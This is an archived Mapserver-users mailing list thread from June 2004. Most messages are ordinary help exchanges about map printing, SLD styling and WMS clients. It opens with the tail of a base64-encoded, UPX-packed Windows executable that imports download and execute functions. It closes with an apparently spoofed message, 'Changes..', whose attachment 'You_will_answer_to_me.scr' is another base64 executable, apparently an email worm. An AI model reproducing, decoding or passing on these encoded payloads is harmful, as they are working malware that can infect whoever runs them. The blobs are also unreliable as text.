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 94A/AHXyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAAAiwcJwHQ8i18EjYQw pOMAAAHzUIPHCP+WgOQAAJWKB0cIwHTciflXSPKuVf+WhOQAAAnAdAeJA4PDBOvh/5aI5AAA YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAtAsGYY8ciDyvCH8h RT1pfnsYj7CfI2hcrm8fEB+RnRJ9TE50W5RqF51nMh8ZJX+qEjG3tbsFw3VbO5F0Ax5NXw0y d4uoYoM7ml5fClkPSyemh3HDckKNgX+4X38axh1jwQEvQ659Gy1bgKqMAFlwJid9ox7FoSUk Pr0YxzgMQ620ckHDWsYxG3UfgawELUNBN7ZEHa8GrYBsJFenKE+drU0PkFWAhR97wJe4DJYb Ya2um6l1kX12LUa7I4lnYgICYW4hhgUrdGUEH6JsCzPHALArJK6jNBhNhRUWbAtADbSAO0sw Yrt0QnC+BkIXCjM9SgW2xKRfHaooLFo4RwiAoLJkk5tDbz91uy+3NjyfGBJJKq+hhjObVz6D JVoslrJTuj9WECZDCTIUCJRoCiqjNKyGul5xZMVxJZhjCDEpdSugTbtOYIN2tqM9FRSnRKhN iaxHTsQ9TgHEaWFDRXEBppzEvok5lkUesE5+bGAXOYFRESE8k11aCLsMIYPAGmVqE1ckDpGS RD8FdVImRRh9Dwi4Q5EiiCk8KFmBQF60qxVDoEWCKjwUWhhTMUwaKwJ5YC2jpW8Ad5/FV8e0 jl1jr6wreXN9wroPsE9VHTA+lGFRaYZVuJ6NUoZaLHgsR2yNXIgvm3tDcl+mOykjXQGbNyGt jLNWRb+xpCMdpziJlEGAh5ucGRJPAZ0FBVI7NWpLjXSipqByYRMbLK47rUkBkZS/NzzAHsax PGeXF8YehCSdiMNhkqNrfHFKW0tabHxLB15utatGnjtaOoMSba0bxl2oExgbS24NFbAacmaS iruBZcGHtDt6ig== ----------iqhxibbietoucqeryzqg-- From woodbri at swoodbridge.com Fri Jun 18 06:13:00 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 18 Jun 2004 09:13:00 -0400 Subject: [Mapserver-users] Printing - PHP code In-Reply-To: <001601c454f8$9314e820$183ba8c0@aurogis02> References: <001601c454f8$9314e820$183ba8c0@aurogis02> Message-ID: <40D2EA5C.5050107@swoodbridge.com> Satyajit, Very nice job indeed! I had a problem that I could not see the map in the Rosa applet in either IE6 or Netscape 7.1, so I think something is broken. As for printing, I think the best strategy is to have a link the opens a new page with the map, scale bar and legend as image tags and the layout designed for printing. If you want to support multiple page formats the have the user select them from a drop down. Doing your print pages in straight html will be much cleaner. You will have to pass the current map parameters and layers to the code or template url that does the layout and possibly make some changes to it to adjust the size of the image for the new page layout. It would probably be easiest to do this in mapscript, but you could also do the image size/scale adjustments in javascript before you submit the link. Great job, -Steve W. Satyajit wrote: > Dear list, > I've successfully built an application on Mapserver. Check this > out http://203.199.114.111/newham. First I would like to thank this list > for giving all the useful info about creating an application with > Mapserver. This list seems to be the only resource for any kind of help. > Without you guys it would have been impossible to carry out this > project. > I still have to add some more functionality to this. Can anyone suggest > me a way to take the printout of the map with the legend and scale bar > and north arrow. My problem is that I have a lot of themes in my map and > if someone takes the printout of the map then I will have adjust the > sizes of the legend so that it fits into the size of the specified paper > ( A4 or A3 ..). If anyone has the working code then I would like to have > that so that I can implement it directly. > Thanks a lot guys. > Waiting for your replies. > > ~cheers > Satyajit. > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jdenisgiguere at fastmail.fm Fri Jun 18 06:49:13 2004 From: jdenisgiguere at fastmail.fm (Jean-Denis Giguere) Date: Fri, 18 Jun 2004 09:49:13 -0400 Subject: [Mapserver-users] [SLD] Trouble with Message-ID: <40D2F2D9.8050708@fastmail.fm> I'm trying to use en external graphic fill as PolygonSymbolizer. I have 2 problems. First, the exemple in the document "OGC SLD support in Mapserver" in not valid SLD and the hyperlink doesn't work. So it is hard to understand how it works. The problem is that http://www2.dmsolutions.ca/msapps/world_testdata/map/etc/target-1.gif PNG should be image/gif Secondly, With my SLD, I don't get graphic fill, but only solid fill. This is the pertinent extract of my SLD. Sadly, my server is not accessible from the internet... the_area image/png 5.0 Any idea of what I do wrong ? Thank you, Jean-Denis From dgadoury at dmsolutions.ca Fri Jun 18 07:42:00 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Fri, 18 Jun 2004 10:42:00 -0400 Subject: [Mapserver-users] sld example Message-ID: <40D2FF38.7040406@dmsolutions.ca> Hi, Does anyone have an example of an SLD document in which point symbols are styled? Dean -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca From Tom.Kralidis at ec.gc.ca Fri Jun 18 08:13:37 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Fri, 18 Jun 2004 11:13:37 -0400 Subject: [Mapserver-users] sld example Message-ID: <2576812186CDD411BF1500508B6DCE9507367022@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Dean Gadoury > Sent: Friday, June 18, 2004 10:42 AM > To: MapServer List > Subject: [Mapserver-users] sld example > > > Hi, > Does anyone have an example of an SLD document in which point symbols > are styled? > Dean > Try: http://cgdi-dev.geoconnections.org/prototypes/sld/gcdb.xml Alternatively, you can also do this with PHP to convert existing MapServer classes to OGC:SLD, i.e.: generatesld(); // print out the SLD // or do whatever with it echo $sldString; ?> ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -- > ___________________________ > > Dean Gadoury > > DM Solutions Group > 30 Rosemount Ave. Suite 200 > Ottawa, Ontario. K1Y 1P4 > 613.565.5056 ext. 24 > > dgadoury at dmsolutions.ca > www.dmsolutions.ca > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From rich at greenwoodmap.com Fri Jun 18 08:22:24 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 18 Jun 2004 09:22:24 -0600 Subject: [Mapserver-users] WMS clients and Mapserver (JUMP, ArcExplorer) In-Reply-To: <6.0.0.22.2.20040618133250.01b632b0@sunrise.sli.unimelb.edu.au> References: <6.0.0.22.2.20040618133250.01b632b0@sunrise.sli.unimelb.edu.au> Message-ID: <40D308B0.6000901@greenwoodmap.com> Martin Tomko wrote: > HI List, > I thought I already went trough this... after some time, I am trying to > use a different client and here the problems comes again... > (I am using the 4.3 build) > I tried to add a WMS layer to JUMP, > http://localhost/cgi-bin/wms.exe? ( I use SetEnvIf Request_URI > "/cgi-bin/wms.exe" MS_MAPFILE=c:/Apache/Apache/htdocs/WMS/WMS.map) in my > apache config > And it finds the layers and even add the selected one, but doesn't > display anything... Jump does not automatically adjust the extents to match a WMS layer (at least not for me). So be sure you Jump map window extents cover the WMS layer's area. (Try adding your layer as a shape file, which will force Jump to adjust its extents). > Ok, so I tried ArcExplorer java ed. + Interop Extensions... It claims > that my GetCapabilities is not correct... ArcExplorer requires that there be only one (or no) SRS in the projection list. Otherwise it fails. And it requires a wms_abstract. -- Richard Greenwood www.greenwoodmap.com From tjmitchell at riverside.bc.ca Fri Jun 18 08:38:27 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Fri, 18 Jun 2004 08:38:27 -0700 Subject: [Mapserver-users] FW: Open source GIS proves its maturity with excellent conference Message-ID: I've started a weblog chronicle of the conference: http://www.onlamp.com/pub/wlg/5080 And plan to go into more depth over the upcoming days. If you have ideas, questions or comments feel free to email me directly or post a comment right on the site. Tyler From steve.lime at dnr.state.mn.us Fri Jun 18 10:14:59 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 18 Jun 2004 11:14:59 -0600 Subject: [Mapserver-users] Changes.. Message-ID: ----------nczrnnpdpanpcsjiwcfw Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------nczrnnpdpanpcsjiwcfw Content-Type: application/octet-stream; name="You_will_answer_to_me.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="You_will_answer_to_me.scr" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv 7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67 xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O 47ISdMTTj/1Zoe1znTFz//x5PP4RIEL7iBIYBnaFn9vekvgVU3AEJE29vS72dxeEQ/oTcu7A BDgYAxJi1vht4zy/BHEzwHD+wXK/hQ2y7e62CMsF9UyvCcByFXDs24W3BcC7wSiI+CgEOY8v 2LcX3NlqArmP8nD5PAdwbMQW2rn7BdwBV4wC/rX24+S6BBtPA+7Ccq9t79vdY68GDQZwDAQX kcKb61yLEBoJBfh6pHHdurdvQMruygUFGDpwI/kEBnLfPkmvYOYZcbrG+QX1Tbr8hd0tCNbi QtJ0DZ/ajPfWlq+oHQX5OP+IHJatfJj2EysFPO72F2zkwhdD6hTdEKNrvhV1sgiqkHT72tKb t7NbBcJxcblr3/6/oQvRMHGp8vkr+an2c90Fiep1thfynb527vsFP7URPqBj7Xc7kNIJDwYS 9nU7BeoXyrIsAu4GObne/crJltoa35wFGbqqTbbZ39T7qqo9eir6AAkubI9tNM/qIfIl0hH5 OgbkxqchJQ37kPtox83utpZFWOgXBajyESn2/v3od68Cifg9uP5PI/1L+F7dmQYkLu7117Kx 26x3Ez38g7wwaVqwD+yQ+DFx/KRjFyeHubNMd/gS+oCLbLEliVn4ipfNzDchNbZb4mks92Ay ez6CHa35+AgsuO6SM3rLY8AVvt0g8LqOvgN6GXd/LapLNmC/5FvB5wIYWpL7RqDqHjMkZERf t2wnIxMSreYS4pdao3zhKMZ8nD2/AIRh3he+NQsFtwANG+CQuhLjXVC2j93J/dLCFnW9/gUK vGm2zc1rnAf2APQ9vepqz9QiPx+fCj8b2Nra0uU0Gmj5Np3y7yfhwnO9RT2lHxqprckF3kNH 04GVsG6nb+7haAfeWGzuDszQFPjrYxgG1uoS5cZW9X5/c4cIMR0HjgoJy8vDrzrIM8MrAp+Q 9Bh235UboK4A2Ri4t0L0JPn59mFr3B0W+aEFHkwKqia9wdxuyxJYdxPSeumeS9ISdZqLE4Fy H3SfB7dpvXAWCPsMn9vRAgWikC7VkgdWIBmd7qFqGoVka4/DFiGe3gwK4Qi702L13MHkkPas z+e298fBd4f7Hkz5Iobme76qGtT7CdCSO8O/bgbeEAGt+BLWA/4Iv286B96gkudwuiD+kCm2 2LsxqD5G+F0Br07Kn6/kNIo+LvwSFwK5++0HmkKqNg8Rz3kC+wv6NqqzNLtl0/gXNqrn+W02 y3Lq6gXr/gXa/0LV2mfs1U9q33f0jHDghu81EpUkErTATTIPh7DvORupuLhr4hPvUv8SlwIL 9aoWmArBrbX9AfCM/w+JDATNqgblXfMHVKsJ9hJOByxZNAxcCsFRSrbTw422qsJPCi8DBhjp Dt8u71ZWurcazw6W2V5EUDUbSnnu4RjLBr9MBeWYCrbgvsjficoQEoHCfXIK9Bgm3h7uBnfJ degJXkU/bi/xWBFuObYF2I9BFSzNBwbnHwcKEjTN1A7Zy0aDqaSaDtwBBa5NiEU4W83+ei8L 942NeFRF8lAgLQZ1ZnOvytEPtE6J5Z5sjyAdsBRC+7m61/DGDUbzd7NGQz2VDjuYDHeKJoNx E6bhO1SPsIZB2WwLt9svkl43krgJIQJ1US5bY5gpshb8DS8IT8/G7hcWWy8b7rEdcUgMLP1F 1zoKRbyxv7nNBiAmqq0SoQQZ6A3MCJ89uQkP+HElf1JvTsbbl6WYEMvNMkA+KUr8f/AYCxnv QyA7GP87EeHxKWMTLbaFvPkWFLlCsEWhSf6EgqputvXYR6PMXGv7Shn1trKD6tm39j34Rbqt ULgBOHnCvyzyLtC5tp1uoHP4hbDXHJPRYhdvpCpx8iSP/LPHbtHgoLuZEqgtBs9vixU4zS4d uh6hezcCuC7OrT1/IgbSG75dgZNrXSxzfxl3d+63xRj3TwwSHRdmuEW9G/vZtor0rRsGEinM FfEkB4TaZxoHDwQzjy0dbHNhQ1MRQAw+zqVDBU6tWH498M7KjgVTEvkjFcN1jMMgcAar303h aXpuixMjVzo3PRq2yEPqIYjozw79l4VGRvkCdvxEIwwaDQzVEPSpjPThnPmSs7HOWbohY4cK obQg+JzN2MM699AgChv64CqNfZSQExreo+pvHSOIsGRxB7x7xLatv/hv1F0RDf8q6iJxNNG3 Ans7+rE7CxnGFAIFeF5aKxR7NAUhoSpCwbkmaj0uBbed1hm3u1my8nsC+sqwHv3j98m9w2Wb Ss4KGnXHv0eBWRsl0hlszrtJc1ZwEv6pws7bZssXoBLsLxMSGSefNt0vnBE098zJ1NfuPXUH uXs3ENU/yQi6ph9IORqSI2pisjtojD3EzlCoESjvmuoILIO9GhGknPsRAH66ge9LyYYal0A2 